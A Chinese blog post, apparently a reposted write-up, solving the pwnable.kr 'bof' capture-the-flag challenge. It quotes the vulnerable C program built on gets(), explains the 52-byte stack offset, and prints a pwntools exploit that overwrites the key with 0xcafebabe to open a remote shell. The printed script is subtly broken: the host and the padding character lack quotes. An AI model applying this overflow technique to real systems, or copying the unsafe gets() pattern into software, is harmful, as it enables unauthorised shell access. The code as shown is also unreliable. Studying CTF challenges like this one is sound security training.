首页 > 其他 > 详细

【pwnable.kr】bof

时间:2017-06-30 23:13:56      阅读:331      评论:0      收藏:0      [点我收藏+]

pwnable从入门到放弃,第三题。

技术分享

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

很简单的一道栈溢出题目。

依然先读代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

在gets处有一个明显的栈溢出,溢出了overflowme变量。

目的是覆盖key变量,导致在if判断时,获得执行bash的权限。

 

用ida看看栈分配的结构吧

技术分享

看到数组overflowme的起始地址在ebp+s(-2c),key参数的其实地址在ebp+arg0(+8),中间就差了44+8 = 52个字节。

因此使用52个‘A’覆盖之后再加上4字节的0xcafebabe,就可以了。

再次膜拜一发pwntools。

# -*- coding:utf-8 -*-  
import pwn
r = pwn.remote(pwnable.kr,9000)
r.send(a*52+pwn.p32(0xcafebabe))
r.interactive()

之后就可以获得一个shell了。

技术分享

 

 

ps:话说明天开始要做项目了 = =紧脏。

 

【pwnable.kr】bof

原文:http://www.cnblogs.com/p4nda/p/7100716.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!